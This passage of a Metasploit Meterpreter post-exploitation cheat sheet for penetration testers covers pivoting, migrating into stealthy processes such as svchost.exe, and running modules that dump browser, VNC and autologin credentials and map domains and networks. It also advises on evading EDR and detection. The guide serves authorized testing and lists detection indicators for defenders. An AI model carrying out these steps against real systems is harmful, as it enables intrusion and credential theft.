 > 2. SOCKS proxy traffic encapsulated in [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session—inspect session traffic patterns
 > 3. Port forwards create listening sockets on attacker—egress firewall may block initial callback
 > 4. Large data transfers through pivot = bandwidth anomaly
 > 5. NetFlow/Zeek logs may reveal unusual internal connections
 > 6. Workstation-to-server traffic patterns differ from normal user behavior
 
 > **Note —** + Common Errors and Solutions
 > 1. **"Route addition failed"**: Subnet overlap or incorrect CIDR notation—verify with `autoroute -p`
 > 2. **Port forward fails**: Target port not open or host unreachable—verify with `ping`, `portscan` module
 > 3. **SOCKS proxy not working**: Check `proxychains.conf` syntax and SOCKS version (4a vs 5)
 > 4. **"Connection refused" on forwarded port**: Service not running on target or local port conflict
 > 5. **Slow pivot performance**: Network latency or bandwidth limitations—optimize traffic
 
 > **Note —** + Advanced Pivoting Techniques
 > 6. **Multi-hop pivoting**: Chain multiple compromised hosts for deep network access
 > 7. **DNS tunneling**: Exfiltrate data through DNS queries when other protocols blocked
 > 8. **SSH dynamic forwarding**: Alternative to SOCKS proxy using SSH `-D` flag
 > 9. **VPN setup**: Establish full network-layer access through compromised host
 > 10. **HTTP/HTTPS tunneling**: Bypass proxy restrictions using application-layer protocols
 
 ---
 
 ## Process Migration
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. Appropriate privileges (admin required for SYSTEM processes)
 > 3. Understanding of target process architecture (x86/x64)
 > 4. Knowledge of stable, long-running processes on target
 
 ### Core Migration Commands
 
 ```bash
 ps                            # List processes
 migrate <PID>                 # Migrate to target process
 getpid                        # Show current process ID
 ```
 
 > **Note —** + Command Breakdown
 > 1. **ps -S <name>**: Filter process list by name for quick identification
 > 2. **ps -A <arch>**: Filter by architecture (x86/x64) for compatibility
 > 3. **migrate <PID>**: Injects [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) payload into target process memory
 > 4. **getpid**: Verify current process ID before and after migration
 > 5. *Always migrate away from initial exploit process (often unstable or will close)*
 
 ### Migration Workflow
 
 ```bash
 # List processes
 ps
 
 # Find stable process (e.g., explorer.exe)
 ps -S explorer.exe
 
 # Migrate to explorer
 migrate 1234   # Use actual PID from ps output
 
 # Verify migration
 getpid
 
 # Migrate to x64 process if session is x86
 ps -A x64
 migrate 5678
 
 # For stealth, migrate to legitimate long-running process
 ps -S svchost.exe
 migrate 2468
 ```
 
 > **Note —** + Process Selection Criteria
 > 1. **Stability**: Long-running processes unlikely to terminate (explorer.exe, svchost.exe)
 > 2. **Architecture**: Match [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) architecture (x86/x64) to target process
 > 3. **Privilege level**: Match current privileges (user→user, SYSTEM→SYSTEM)
 > 4. **Stealth**: Legitimate system processes blend with normal operations
 > 5. **User context**: Same user session to avoid cross-session injection alerts
 
 ### Recommended Migration Targets
 
 | Process | Privilege | Stability | Stealth | Notes |
 |:---|:---|:---|:---|:---|
 | explorer.exe | User | High | High | User desktop process, always running |
 | svchost.exe | SYSTEM | High | Medium | Multiple instances, choose carefully |
 | spoolsv.exe | SYSTEM | High | Medium | Print spooler service |
 | winlogon.exe | SYSTEM | High | Low | Protected process on modern Windows |
 | lsass.exe | SYSTEM | High | Very Low | Protected, instant EDR alert |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. Migration = process injection (CreateRemoteThread, WriteProcessMemory)—EDR signatures exist
 > 2. Migrating to security product process (AV, EDR agent) = instant detection/crash
 > 3. Injecting across session boundaries (different user) requires SeDebugPrivilege
 > 4. Memory forensics: Injected code lacks corresponding image file—indicator of compromise
 > 5. Prefer processes with same privilege level and architecture as current session
 > 6. API call patterns (OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread) heavily monitored
 
 > **Note —** + Common Errors and Solutions
 > 1. **"Migration failed"**: Target process protected, wrong architecture, or insufficient privileges
 > 2. **Session dies after migration**: Target process crashed or terminated—choose stable process
 > 3. **"Access is denied"**: Need SYSTEM to migrate into SYSTEM processes—run `getsystem` first
 > 4. **Architecture mismatch**: Migrating x86→x64 or vice versa fails—match architectures
 > 5. **Process protected**: Windows 10+ protects certain processes (PPL, ELAM)—choose alternative
 
 > **Note —** + Migration Best Practices
 > 6. Migrate immediately after exploitation to stable process
 > 7. Avoid security software processes (will crash session)
 > 8. Match architecture to maximize command compatibility
 > 9. Choose processes with multiple instances (svchost.exe) for better hiding
 > 10. For credential dumping, migrate to same session as target user
 > 11. Document original PID for forensic cleanup and incident response
 
 ---
 
 ## Post-Exploitation Modules
 
 > **Note —** + Prerequisites
 > 1. Active [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) session
 > 2. Background session to run modules from msfconsole
 > 3. Appropriate privileges for target module functionality
 > 4. Understanding of target environment ([Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview), workgroup, domain-joined)
 
 ### Enumeration Modules
 
 ```bash
 # Enumeration
 background
 use post/windows/gather/enum_domain                # Enumerate AD domain info
 use post/windows/gather/enum_shares                # Enumerate network shares
 use post/windows/gather/enum_applications          # List installed software
 use post/windows/gather/enum_logged_on_users       # Active user sessions
 use post/windows/gather/enum_patches               # Installed patches/KBs
 
 # Set session and run
 set SESSION 1
 run
 ```
 
 > **Note —** + Enumeration Module Breakdown
 > 1. **enum_domain**: Queries [Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) for domain controllers, users, groups, trust relationships
 > 2. **enum_shares**: Discovers [SMB](https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview) shares on network (potential lateral movement targets)
 > 3. **enum_applications**: Lists installed software with versions (vulnerability research)
 > 4. **enum_logged_on_users**: Identifies active sessions (credential harvesting targets)
 > 5. **enum_patches**: Cross-references missing KBs with exploit database
 > 6. *Modules save results to Metasploit loot/credentials database—access with `loot`, `creds` commands*
 
 ### Credential Gathering Modules
 
 ```bash
 # Credential gathering
 use post/windows/gather/credentials/windows_autologin   # Auto-login creds
 use post/windows/gather/credentials/credential_collector
 use post/multi/gather/firefox_creds                    # Browser credentials
 use post/windows/gather/credentials/vnc                # VNC passwords
 
 # Set session and run
 set SESSION 1
 run
 ```
 
 > **Note —** + Credential Module Breakdown
 > 1. **windows_autologin**: Extracts plaintext credentials from registry (auto-logon feature)
 > 2. **credential_collector**: Aggregates credentials from multiple sources (registry, files, memory)
 > 3. **firefox_creds**: Decrypts saved [Firefox](https://www.mozilla.org/firefox/) passwords from profile
 > 4. **vnc**: Extracts [VNC](https://www.realvnc.com/) passwords from registry (weak encryption)
 
 ### Network Enumeration Modules
 
 ```bash
 # Network
 use post/multi/gather/ping_sweep                   # Ping sweep internal network
 use post/windows/gather/arp_scanner                # ARP scan
 use post/windows/gather/enum_domain_computers      # List domain computers
 
 # Set session and run
 set SESSION 1
 set RHOSTS 10.10.10.0/24   # For network modules
 run
 ```
 
 > **Note —** + Network Module Breakdown
 > 1. **ping_sweep**: ICMP echo requests to discover live hosts on internal subnet
 > 2. **arp_scanner**: Examines ARP cache and performs ARP scans (Layer 2 discovery)
 > 3. **enum_domain_computers**: Queries [Active Directory](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) for all domain-joined computers
 > 4. *Network scans generate traffic patterns detectable by NIDS/NIPS*
 
 ### Practical Module Examples
 
 ```bash
 # Enumerate domain
 background
 use post/windows/gather/enum_domain
 set SESSION 1
 run
 
 # Find network shares
 use post/windows/gather/enum_shares
 set SESSION 1
 run
 
 # Check installed patches
 use post/windows/gather/enum_patches
 set SESSION 1
 run
 
 # Discover live hosts on internal network
 use post/multi/gather/ping_sweep
 set SESSION 1
 set RHOSTS 10.10.10.0/24
 run
 
 # Dump saved browser credentials
 use post/multi/gather/firefox_creds
 set SESSION 1
 run
 ```
 
 > **Note —** + Module Output and Database Integration
 > 1. **loot command**: View all collected files and data from post modules
 > 2. **creds command**: Display extracted credentials from all sources
 > 3. **hosts command**: Show discovered hosts from network enumeration
 > 4. **services command**: List identified services on enumerated hosts
 > 5. *All module results automatically saved to [Metasploit](https://www.metasploit.com/) database for analysis*
 
 ### Module Output Interpretation
 
 | Module Type | Key Information | Action Items |
 |:---|:---|:---|
 | Domain Enumeration | Domain controllers, trust relationships | Map AD infrastructure |
 | Share Enumeration | Writable shares, sensitive data | Lateral movement, exfiltration |
 | Patch Enumeration | Missing KBs | Privilege escalation exploits |
 | User Enumeration | Active sessions, admin users | Credential harvesting targets |
 | Network Discovery | Live hosts, open ports | Expand attack surface |
 
 > **Note —** + OPSEC and Detection Considerations
 > 1. Enumeration modules generate suspicious activity (LDAP queries, [SMB](https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview) enumeration, network scanning)
 > 2. Domain queries hit domain controller—logs at DC ([Event 4662](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662), [4624](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624))
 > 3. Share enumeration = [SMB](https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview) traffic spike—NetBIOS/SMB anomaly detection
 > 4. Ping sweeps = ICMP flood or rapid connection attempts—NIDS/NIPS alerts
 > 5. Spread activity over time to blend with normal traffic
 > 6. Consider using native Windows tools ([PowerShell](https://learn.microsoft.com/en-us/powershell/), net commands) for stealthier enumeration
 
 > **Note —** + Common Errors and Solutions
 > 1. **"No results returned"**: Insufficient privileges or target not domain-joined—verify with `getuid`
 > 2. **Module hangs**: Network timeout—adjust `set TIMEOUT` value in module options
 > 3. **"Session not valid"**: Session died during module run—check session stability with `sessions -l`
 > 4. **Database not initialized**: Run `msfdb init` to set up [PostgreSQL](https://www.postgresql.org/) database
 > 5. **Empty loot output**: Module failed silently—check msfconsole logs for errors
 
 > **Note —** + Post-Exploitation Module Workflow
 > 6. Start with system enumeration (`enum_domain`, `enum_patches`)
 > 7. Gather credentials from all sources (`credential_collector`, browser modules)
 > 8. Enumerate network (`ping_sweep`, `arp_scanner`)
 > 9. Identify lateral movement targets (`enum_shares`, `enum_domain_computers`)
 > 10. Document all findings in engagement notes for reporting
 
 ---
 
 ## Final OPSEC Reminders
 
 > **Note —** + Critical Security Considerations
 > 1. [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) = known malware; mature EDR will detect/block without evasion
 > 2. Consider custom payloads, obfuscation, or C2 frameworks ([Cobalt Strike](https://www.cobaltstrike.com/), [Covenant](https://github.com/cobbr/Covenant), [Sliver](https://github.com/BishopFox/sliver)) for real-world ops
 > 3. Always operate within authorized scope; maintain detailed logs and IOC lists for remediation
 > 4. Test payloads in isolated lab before production engagement
 > 5. Have out-of-band C2 backup if primary session burned
 
 > **Note —** + Engagement Best Practices
 > 6. Document all IOCs (files, registry keys, services, scheduled tasks) for client remediation
 > 7. Maintain communication with client point of contact during testing
 > 8. Have emergency stop procedures if production systems affected
 > 9. Use encryption for exfiltrated data to protect client confidentiality
 > 10. Provide comprehensive cleanup scripts and remediation guidance in final report
 
 ---
 
 ## References
 
 1. [Offensive Security Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/)
 2. [Rapid7 Metasploit Framework Documentation](https://docs.rapid7.com/metasploit/)
 3. [Gentilkiwi Mimikatz GitHub](https://github.com/gentilkiwi/mimikatz)
 4. [MITRE ATT&CK Framework](https://attack.mitre.org/)
 5. [HackTricks - Pentesting Methodology](https://book.hacktricks.xyz/)
 6. [Microsoft Windows Security Documentation](https://learn.microsoft.com/en-us/windows/security/)
 7. [Offensive Security OSCP Study Guide](https://www.offensive-security.com/pwk-oscp/)
 8. [SANS Penetration Testing Resources](https://www.sans.org/cyber-security-courses/penetration-testing/)
 
 #Metasploit #Meterpreter #Post-Exploitation #Credential-Dumping #Pivoting #Windows #Penetration-Testing #Red-Team #Kiwi #Mimikatz #Process-Migration #Privilege-Escalation #Persistence #OPSEC